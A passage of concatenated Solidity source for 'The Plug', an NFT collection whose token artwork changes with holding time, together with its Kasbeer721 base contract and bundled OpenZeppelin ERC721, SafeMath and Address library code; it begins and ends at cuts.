"@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./Kasbeer721.sol"; //@title The Plug //@author Jack Kasbeer (gh:@jcksber, tw:@satoshigoat) contract Plug is Kasbeer721 { using Counters for Counters.Counter; using SafeMath for uint256; //@dev Emitted when token is transferred event PlugTransferred(address indexed from, address indexed to); //@dev How we keep track of how many days a person has held a Plug mapping(uint256 => uint) internal _birthdays; //tokenID -> UTCTime constructor() Kasbeer721("the Plug", "PLUG") { whitelistActive = true; contractUri = "ipfs://QmYUDei8kuEHrPTyEMrWDQSLEtQwzDS16bpFwZab6RZN5j"; payoutAddress = 0x6b8C6E15818C74895c31A1C91390b3d42B336799;//logik _squad[payoutAddress] = true; addToWhitelist(payoutAddress); } // ----------- // RESTRICTORS // ----------- modifier batchLimit(uint256 numToMint) { require(1 <= numToMint && numToMint <= 8, "Plug: mint between 1 and 8"); _; } modifier plugsAvailable(uint256 numToMint) { require(_tokenIds.current() + numToMint <= MAX_NUM_TOKENS, "Plug: not enough Plugs remaining to mint"); _; } modifier tokenExists(uint256 tokenId) { require(_exists(tokenId), "Plug: nonexistent token"); _; } // ---------- // PLUG MAGIC // ---------- //@dev Override 'tokenURI' to account for asset/hash cycling function tokenURI(uint256 tokenId) tokenExists(tokenId) public view virtual override returns (string memory) { string memory baseURI = _baseURI(); string memory hash = _tokenHash(tokenId); return string(abi.encodePacked(baseURI, hash)); } //@dev Based on the number of days that have passed since the last transfer of // ownership, this function returns the appropriate IPFS hash function _tokenHash(uint256 tokenId) internal virtual view returns (string memory) { if (!_exists(tokenId)) { return "";//not a require statement to avoid errors being thrown } // Calculate days gone by for this particular token uint daysPassed = countDaysPassed(tokenId); // Based on the number of days that have gone by, return the appropriate state of the Plug if (daysPassed >= 557) { if (tokenId <= 176) { return chiHashes[7]; } else if (tokenId % 88 == 0) { return stlHashes[7]; } else { return normHashes[7]; } } else if (daysPassed >= 360) { if (tokenId <= 176) { return chiHashes[6]; } else if (tokenId % 88 == 0) { return stlHashes[6]; } else { return normHashes[6]; } } else if (daysPassed >= 300) { if (tokenId <= 176) { return chiHashes[5]; } else if (tokenId % 88 == 0) { return stlHashes[5]; } else { return normHashes[5]; } } else if (daysPassed >= 240) { if (tokenId <= 176) { return chiHashes[4]; } else if (tokenId % 88 == 0) { return stlHashes[4]; } else { return normHashes[4]; } } else if (daysPassed >= 180) { if (tokenId <= 176) { return chiHashes[3]; } else if (tokenId % 88 == 0) { return stlHashes[3]; } else { return normHashes[3]; } } else if (daysPassed >= 120) { if (tokenId <= 176) { return chiHashes[2]; } else if (tokenId % 88 == 0) { return stlHashes[2]; } else { return normHashes[2]; } } else if (daysPassed >= 60) { if (tokenId <= 176) { return chiHashes[1]; } else if (tokenId % 88 == 0) { return stlHashes[1]; } else { return normHashes[1]; } } else { //if 60 days haven't passed, the initial asset/Plug is returned if (tokenId <= 176) { return chiHashes[0]; } else if (tokenId % 88 == 0) { return stlHashes[0]; } else { return normHashes[0]; } } } //@dev Any Plug transfer this will be called beforehand (updating the transfer time) // If a Plug is now an Alchemist, it's timestamp won't be updated so that it never loses juice function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { // If the "1.5 years" have passed, don't change birthday if (_exists(tokenId) && countDaysPassed(tokenId) < 557) { _setBirthday(tokenId); } emit PlugTransferred(from, to); } //@dev Set the last transfer time for a tokenId function _setBirthday(uint256 tokenId) private { _birthdays[tokenId] = block.timestamp; } //@dev List the owners for a certain level (determined by _assetHash) // We'll need this for airdrops and benefits function listPlugOwnersForHash(string memory assetHash) public view returns (address[] memory) { require(_hashExists(assetHash), "Plug: nonexistent hash"); address[] memory levelOwners = new address[](MAX_NUM_TOKENS); uint16 tokenId; uint16 counter; for (tokenId = 1; tokenId <= _tokenIds.current(); tokenId++) { if (_stringsEqual(_tokenHash(tokenId), assetHash)) { levelOwners[counter] = ownerOf(tokenId); counter++; } } return levelOwners; } //@dev List the owners of a category of the Plug (Nomad, Chicago, or St. Louis) function listPlugOwnersForType(uint8 group) groupInRange(group) public view returns (address[] memory) { address[] memory typeOwners = new address[](MAX_NUM_TOKENS); uint16 tokenId; uint16 counter; if (group == 0) { //nomad for (tokenId = 177; tokenId <= MAX_NUM_TOKENS; tokenId++) { if (tokenId % 88 != 0 && _exists(tokenId)) { typeOwners[counter] = ownerOf(tokenId); counter++; } } } else if (group == 1) { //chicago for (tokenId = 1; tokenId <= 176; tokenId++) { if (_exists(tokenId)) { typeOwners[counter] = ownerOf(tokenId); counter++; } } } else { //st. louis for (tokenId = 177; tokenId <= MAX_NUM_TOKENS; tokenId++) { if (tokenId % 88 == 0 && _exists(tokenId)) { typeOwners[counter] = ownerOf(tokenId); counter++; } } } return typeOwners; } // -------------------- // MINTING & PURCHASING // -------------------- //@dev Allows owners to mint for free function mint(address to) isSquad public virtual override returns (uint256) { return _mintInternal(to); } //@dev Purchase & mint multiple Plugs function purchase( address payable to, uint256 numToMint ) whitelistDisabled batchLimit(numToMint) plugsAvailable(numToMint) public payable returns (bool) { require(msg.value >= numToMint * TOKEN_WEI_PRICE, "Plug: not enough ether"); //send change if too much was sent if (msg.value > 0) { uint256 diff = msg.value.sub(TOKEN_WEI_PRICE * numToMint); if (diff > 0) { to.transfer(diff); } } uint8 i;//mint `numToMint` Plugs to address `to` for (i = 0; i < numToMint; i++) { _mintInternal(to); } return true; } //@dev A whitelist controlled version of `purchaseMultiple` function whitelistPurchase( address payable to, uint256 numToMint ) whitelistEnabled onlyWhitelist(to) batchLimit(numToMint) plugsAvailable(numToMint) public payable returns (bool) { require(msg.value >= numToMint * TOKEN_WEI_PRICE, "Plug: not enough ether"); //send change if too much was sent if (msg.value > 0) { uint256 diff = msg.value.sub(TOKEN_WEI_PRICE * numToMint); if (diff > 0) { to.transfer(diff); } } uint8 i;//mint `_num` Plugs to address `_to` for (i = 0; i < numToMint; i++) { _mintInternal(to); } return true; } //@dev Mints a single Plug & sets up the initial birthday function _mintInternal(address to) plugsAvailable(1) internal virtual returns (uint256) { _tokenIds.increment(); uint256 newId = _tokenIds.current(); _safeMint(to, newId); _setBirthday(newId); emit ERC721Minted(newId); return newId; } // ---- // TIME // ---- //@dev Returns number of days that have passed since transfer/mint function countDaysPassed(uint256 tokenId) tokenExists(tokenId) public view returns (uint256) { return uint256((block.timestamp - _birthdays[tokenId]) / 1 days); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT /* * Kasbeer721.sol * * Author: Jack Kasbeer * Created: August 21, 2021 */ pragma solidity >=0.5.16 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./KasbeerStorage.sol"; import "./KasbeerAccessControl.sol"; import "./LibPart.sol"; //@title Kasbeer Made Contract for an ERC721 //@author Jack Kasbeer (git:@jcksber, tw:@satoshigoat) contract Kasbeer721 is ERC721, KasbeerAccessControl, KasbeerStorage { using Counters for Counters.Counter; using SafeMath for uint256; event ERC721Minted(uint256 indexed tokenId); event ERC721Burned(uint256 indexed tokenId); constructor(string memory temp_name, string memory temp_symbol) ERC721(temp_name, temp_symbol) { // Add my personal address & sender _squad[msg.sender] = true; _squad[0xB9699469c0b4dD7B1Dda11dA7678Fa4eFD51211b] = true; addToWhitelist(0xB9699469c0b4dD7B1Dda11dA7678Fa4eFD51211b); } // ----------- // RESTRICTORS // ----------- modifier hashIndexInRange(uint8 idx) { require(0 <= idx && idx < NUM_ASSETS, "Kasbeer721: index OOB"); _; } modifier groupInRange(uint8 group) { require(0 <= group && group <= 2, "Kasbeer721: group OOB"); _;// 0:nomad, 1:chicago, 2:st.louis } modifier onlyValidTokenId(uint256 tokenId) { require(1 <= tokenId && tokenId <= MAX_NUM_TOKENS, "KasbeerMade721: tokenId OOB"); _; } // ------ // ERC721 // ------ //@dev All of the asset's will be pinned to IPFS function _baseURI() internal view virtual override returns (string memory) { return "ipfs://";//NOTE: per OpenSea recommendations } //@dev This is here as a reminder to override for custom transfer functionality function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); } //@dev Allows owners to mint for free function mint(address to) isSquad public virtual returns (uint256) { _tokenIds.increment(); uint256 newId = _tokenIds.current(); _safeMint(to, newId); emit ERC721Minted(newId); return newId; } //@dev Custom burn function - nothing special function burn(uint256 tokenId) public virtual { require(isInSquad(msg.sender) || msg.sender == ownerOf(tokenId), "Kasbeer721: not owner or in squad."); _burn(tokenId); emit ERC721Burned(tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == _INTERFACE_ID_ERC165 || interfaceId == _INTERFACE_ID_ROYALTIES || interfaceId == _INTERFACE_ID_ERC721 || interfaceId == _INTERFACE_ID_ERC721_METADATA || interfaceId == _INTERFACE_ID_ERC721_ENUMERABLE || interfaceId == _INTERFACE_ID_EIP2981 || super.supportsInterface(interfaceId); } // ---------------------- // IPFS HASH MANIPULATION // ---------------------- //@dev Get the hash stored at `idx` for `group` function getHashByIndex( uint8 group, uint8 idx ) groupInRange(group) hashIndexInRange(idx) public view returns (string memory) { if (group == 0) { return normHashes[idx]; } else if (group == 1) { return chiHashes[idx]; } else { return stlHashes[idx]; } } //@dev Allows us to update the IPFS hash values (one at a time) function updateHash( uint8 group, uint8 hashNum, string memory str ) isSquad groupInRange(group) hashIndexInRange(hashNum) public { if (group == 0) { normHashes[hashNum] = str; } else if (group == 1) { chiHashes[hashNum] = str; } else { stlHashes[hashNum] = str; } } //@dev Determine if '_assetHash' is one of the IPFS hashes in asset hashes function _hashExists(string memory assetHash) internal view returns (bool) { uint8 i; for (i = 0; i < NUM_ASSETS; i++) { if (_stringsEqual(assetHash, normHashes[i]) || _stringsEqual(assetHash, chiHashes[i]) || _stringsEqual(assetHash, stlHashes[i])) { return true; } } return false; } // ------ // USEFUL // ------ //@dev Returns the current token id (number minted so far) function getCurrentId() public view returns (uint256) { return _tokenIds.current(); } //@dev Allows us to withdraw funds collected function withdraw(address payable wallet, uint256 amount) isSquad public { require(amount <= address(this).balance, "Kasbeer721: Insufficient funds to withdraw"); wallet.transfer(amount); } //@dev Destroy contract and reclaim leftover funds function kill() onlyOwner public { selfdestruct(payable(msg.sender)); } // ------------ // CONTRACT URI // ------------ //@dev Controls the contract-level metadata to include things like royalties function contractURI() public view returns(string memory) { return contractUri; } //@dev Ability to change the contract URI function updateContractUri(string memory updatedContractUri) isSquad public { contractUri = updatedContractUri; } // ----------------- // SECONDARY MARKETS // ----------------- //@dev Rarible Royalties V2 function getRaribleV2Royalties(uint256 id) onlyValidTokenId(id) external view returns (LibPart.Part[] memory) { LibPart.Part[] memory royalties = new LibPart.Part[](1); royalties[0] = LibPart.Part({ account: payable(payoutAddress), value: uint96(royaltyFeeBps) }); return royalties; } //@dev EIP-2981 function royaltyInfo(uint256 tokenId, uint256 salePrice) external view onlyValidTokenId(tokenId) returns (address receiver, uint256 amount) { uint256 ourCut = SafeMath.div(SafeMath.mul(salePrice, royaltyFeeBps), 10000); return (payoutAddress, ourCut); } // ------- // HELPERS // ------- //@dev Determine if two strings are equal using the length + hash method function _stringsEqual(string memory a, string memory b) internal pure returns (bool) { bytes memory A = bytes(a); bytes memory B = bytes(b); if (A.length != B.length) { return false; } else { return keccak256(A) == keccak256(B); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use 